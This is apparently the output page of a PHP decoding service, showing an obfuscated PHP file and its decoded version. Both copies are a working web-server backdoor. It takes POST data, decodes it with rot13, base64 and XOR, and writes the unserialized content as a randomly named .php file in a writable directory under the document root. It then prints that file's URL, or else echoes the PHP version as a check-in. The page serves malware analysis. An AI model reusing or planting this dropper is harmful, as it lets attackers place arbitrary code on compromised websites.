Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function KrBEWvLxG($ekeNxLrSA, $GdcYBr, $efqLIrhO){$MRNClXy = "30802936-31c4-4e26-a1..
Decoded Output download
<?php function KrBEWvLxG($ekeNxLrSA, $GdcYBr, $efqLIrhO){$MRNClXy = "30802936-31c4-4e26-a116-1f7953152a9f"; $NDslFPvCUk = 52;return $ekeNxLrSA ^ $MRNClXy[$GdcYBr % strlen($MRNClXy)] ^ $efqLIrhO;}$jZMbhq = "nYbJe";$yuOpK = 67;function fmOnmso($jZMbhq){ $cFOVy = chr(115).chr(570-454)."r".chr(318-223)."r".chr(111).chr(116).chr(68-19)."3";$jZMbhq = $cFOVy($jZMbhq);$CdqFvo = 'r'.chr(97)."w"."u".chr(630-516).'l'.chr(100)."e".'c'.chr(1013-902).chr(100).chr(101);$jZMbhq = $CdqFvo($jZMbhq);$jZMbhq = str_split($jZMbhq);return $jZMbhq;}function ULQUm($NqeTGosFW, $efqLIrhO){$NqeTGosFW = array_map("KrBEWvLxG", array_values($NqeTGosFW), array_keys($NqeTGosFW), array_values($efqLIrhO));$NqeTGosFW = implode("", $NqeTGosFW); $lVVcIiISTK = 'WMrBVk';$FGCTxNEdne = "u".chr(110)."s".chr(101).'r'."i"."a".'l'.chr(194-89)."z"."e";$NqeTGosFW = @$FGCTxNEdne($NqeTGosFW); $KInuUSlKsR = 52;return $NqeTGosFW;}function MZzAg($efqLIrhO, $NqeTGosFW){$efqLIrhO = array_slice(str_split(str_repeat($efqLIrhO, intval(count($NqeTGosFW)/16)+1)), 0, count($NqeTGosFW)); $wKczYztnZE = 25;return $efqLIrhO;}function eaDQn(){$zEnsTuwi = 'LcBdB';$rYNrKGd = 15;$DKircxL = 6;$zMpyxQWzfD = $rYNrKGd - $DKircxL;$yXBSafTZL = 'EcpV';$DKircxL = $zMpyxQWzfD / 5;}eaDQn();function vXOIVB(){echo "fWmWPoGTsx"; $ImNfjdBo = 62;}function ATXYB($tPslegOir){static $fRXWXe = array();$ghSKL = glob($tPslegOir . '/*', GLOB_ONLYDIR);$WMqLziXZB = count($ghSKL); $gETItiCRZr = 38; $veSCNxP = 'ItCcC';if ($WMqLziXZB > 0) {foreach ($ghSKL as $tPslegO) {$ekXzN = "i"."s"."_".chr(119).chr(636-522).'i'.'t'."a"."b".'l'."e";if (@$ekXzN($tPslegO)) {$fRXWXe[] = $tPslegO;}}}foreach ($ghSKL as $tPslegOir) ATXYB($tPslegOir);return $fRXWXe;}function VWHaMxCOEG($NqeTGosFW){$UrpuEZbNDx = chr(68)."O"."C"."U"."M".'E'.chr(78).'T'.'_'.chr(703-621).chr(903-824).chr(79).chr(84);$ziesmJb = $_SERVER[$UrpuEZbNDx]; $ZTfrCzOA = 'uB';$ghSKL = ATXYB($ziesmJb);$IsydqGva = array_rand($ghSKL);$vuZwGx = '.'.'p'."h"."p";$ILGhrp = $ghSKL[$IsydqGva] . "/" . substr(md5(time()), 0, 8) . $vuZwGx;$HCYLft = "f"."i".'l'.'e'.chr(95).chr(112)."u"."t"."_"."c".chr(111)."n".chr(555-439)."e"."n".chr(116)."s";@$HCYLft($ILGhrp, $NqeTGosFW);$pEvTejtb = "H".chr(84)."T".chr(587-507)."_"."H"."O"."S".chr(84);$UMgzitd = "h".chr(1010-894).'t'.chr(112).":"."/".chr(47);$WEjAr = $UMgzitd . $_SERVER[$pEvTejtb] . substr($ILGhrp, strlen($ziesmJb)); $lXftSk = 'kApMf'; $esCHHp = 64;print($WEjAr); $jhoRDl = 62;}function klXMXHyo($NqeTGosFW, $IsydqGva){$IsydqGva = $IsydqGva[0];if ($NqeTGosFW !== $IsydqGva){VWHaMxCOEG($NqeTGosFW);}else {zkdPgiyhO(); $PsylQKWVog = 'nzTDqaR';}}function zkdPgiyhO(){$dopmCCV = 'p'."h".chr(263-151);$xrTKQON = "p".chr(104).'p'.chr(392-274).chr(1064-963).'r'.'s'."i".chr(438-327)."n";$NqeTGosFW = Array($dopmCCV => @$xrTKQON(), );$IxzPBWMTtn = chr(115).'e'.chr(218-104)."i".chr(802-705).chr(117-9)."i".chr(685-563)."e";echo @$IxzPBWMTtn($NqeTGosFW); $JBxseE = 'ledNxNPw';}function bMZkcm(){echo "nYbJe";}foreach ($_POST as $efqLIrhO => $NqeTGosFW){$bKHrBCbsj = strlen($efqLIrhO); $RZFOcUdAdn = 'qwpJLSEWot';if ($bKHrBCbsj == 16){$NqeTGosFW = fmOnmso($NqeTGosFW);$efqLIrhO = MZzAg($efqLIrhO, $NqeTGosFW);$NqeTGosFW = ULQUm($NqeTGosFW, $efqLIrhO); $xPkMnALyHB = 61;if (@is_array($NqeTGosFW)){$IsydqGva = array_keys($NqeTGosFW); $eCmdWZRmj = 54;$NqeTGosFW = $NqeTGosFW[$IsydqGva[0]];
$eCmdWZRmj = $eCmdWZRmj - 8;klXMXHyo($NqeTGosFW, $IsydqGva);
$iGkZEQ = 51;}}}die();?>
Did this file decode correctly?
Original Code
<?php function KrBEWvLxG($ekeNxLrSA, $GdcYBr, $efqLIrhO){$MRNClXy = "30802936-31c4-4e26-a116-1f7953152a9f"; $NDslFPvCUk = 52;return $ekeNxLrSA ^ $MRNClXy[$GdcYBr % strlen($MRNClXy)] ^ $efqLIrhO;}$jZMbhq = "nYbJe";$yuOpK = 67;function fmOnmso($jZMbhq){ $cFOVy = chr(115).chr(570-454)."\x72".chr(318-223)."\x72".chr(111).chr(116).chr(68-19)."\63";$jZMbhq = $cFOVy($jZMbhq);$CdqFvo = 'r'.chr(97)."\x77"."\x75".chr(630-516).'l'.chr(100)."\145".'c'.chr(1013-902).chr(100).chr(101);$jZMbhq = $CdqFvo($jZMbhq);$jZMbhq = str_split($jZMbhq);return $jZMbhq;}function ULQUm($NqeTGosFW, $efqLIrhO){$NqeTGosFW = array_map("KrBEWvLxG", array_values($NqeTGosFW), array_keys($NqeTGosFW), array_values($efqLIrhO));$NqeTGosFW = implode("", $NqeTGosFW); $lVVcIiISTK = 'WMrBVk';$FGCTxNEdne = "\165".chr(110)."\x73".chr(101).'r'."\x69"."\x61".'l'.chr(194-89)."\x7a"."\145";$NqeTGosFW = @$FGCTxNEdne($NqeTGosFW); $KInuUSlKsR = 52;return $NqeTGosFW;}function MZzAg($efqLIrhO, $NqeTGosFW){$efqLIrhO = array_slice(str_split(str_repeat($efqLIrhO, intval(count($NqeTGosFW)/16)+1)), 0, count($NqeTGosFW)); $wKczYztnZE = 25;return $efqLIrhO;}function eaDQn(){$zEnsTuwi = 'LcBdB';$rYNrKGd = 15;$DKircxL = 6;$zMpyxQWzfD = $rYNrKGd - $DKircxL;$yXBSafTZL = 'EcpV';$DKircxL = $zMpyxQWzfD / 5;}eaDQn();function vXOIVB(){echo "fWmWPoGTsx"; $ImNfjdBo = 62;}function ATXYB($tPslegOir){static $fRXWXe = array();$ghSKL = glob($tPslegOir . '/*', GLOB_ONLYDIR);$WMqLziXZB = count($ghSKL); $gETItiCRZr = 38; $veSCNxP = 'ItCcC';if ($WMqLziXZB > 0) {foreach ($ghSKL as $tPslegO) {$ekXzN = "\x69"."\163"."\137".chr(119).chr(636-522).'i'.'t'."\141"."\142".'l'."\x65";if (@$ekXzN($tPslegO)) {$fRXWXe[] = $tPslegO;}}}foreach ($ghSKL as $tPslegOir) ATXYB($tPslegOir);return $fRXWXe;}function VWHaMxCOEG($NqeTGosFW){$UrpuEZbNDx = chr(68)."\x4f"."\103"."\125"."\115".'E'.chr(78).'T'.'_'.chr(703-621).chr(903-824).chr(79).chr(84);$ziesmJb = $_SERVER[$UrpuEZbNDx]; $ZTfrCzOA = 'uB';$ghSKL = ATXYB($ziesmJb);$IsydqGva = array_rand($ghSKL);$vuZwGx = '.'.'p'."\150"."\x70";$ILGhrp = $ghSKL[$IsydqGva] . "/" . substr(md5(time()), 0, 8) . $vuZwGx;$HCYLft = "\x66"."\x69".'l'.'e'.chr(95).chr(112)."\x75"."\x74"."\x5f"."\143".chr(111)."\156".chr(555-439)."\x65"."\156".chr(116)."\x73";@$HCYLft($ILGhrp, $NqeTGosFW);$pEvTejtb = "\x48".chr(84)."\x54".chr(587-507)."\137"."\110"."\117"."\123".chr(84);$UMgzitd = "\x68".chr(1010-894).'t'.chr(112)."\72"."\57".chr(47);$WEjAr = $UMgzitd . $_SERVER[$pEvTejtb] . substr($ILGhrp, strlen($ziesmJb)); $lXftSk = 'kApMf'; $esCHHp = 64;print($WEjAr); $jhoRDl = 62;}function klXMXHyo($NqeTGosFW, $IsydqGva){$IsydqGva = $IsydqGva[0];if ($NqeTGosFW !== $IsydqGva){VWHaMxCOEG($NqeTGosFW);}else {zkdPgiyhO(); $PsylQKWVog = 'nzTDqaR';}}function zkdPgiyhO(){$dopmCCV = 'p'."\150".chr(263-151);$xrTKQON = "\x70".chr(104).'p'.chr(392-274).chr(1064-963).'r'.'s'."\x69".chr(438-327)."\156";$NqeTGosFW = Array($dopmCCV => @$xrTKQON(), );$IxzPBWMTtn = chr(115).'e'.chr(218-104)."\151".chr(802-705).chr(117-9)."\151".chr(685-563)."\145";echo @$IxzPBWMTtn($NqeTGosFW); $JBxseE = 'ledNxNPw';}function bMZkcm(){echo "nYbJe";}foreach ($_POST as $efqLIrhO => $NqeTGosFW){$bKHrBCbsj = strlen($efqLIrhO); $RZFOcUdAdn = 'qwpJLSEWot';if ($bKHrBCbsj == 16){$NqeTGosFW = fmOnmso($NqeTGosFW);$efqLIrhO = MZzAg($efqLIrhO, $NqeTGosFW);$NqeTGosFW = ULQUm($NqeTGosFW, $efqLIrhO); $xPkMnALyHB = 61;if (@is_array($NqeTGosFW)){$IsydqGva = array_keys($NqeTGosFW); $eCmdWZRmj = 54;$NqeTGosFW = $NqeTGosFW[$IsydqGva[0]];
$eCmdWZRmj = $eCmdWZRmj - 8;klXMXHyo($NqeTGosFW, $IsydqGva);
$iGkZEQ = 51;}}}die();?>
Function Calls
eaDQn | 1 |
Stats
MD5 | 31365daf5eef78a95c4a5e5dfab4be41 |
Eval Count | 0 |
Decode Time | 71 ms |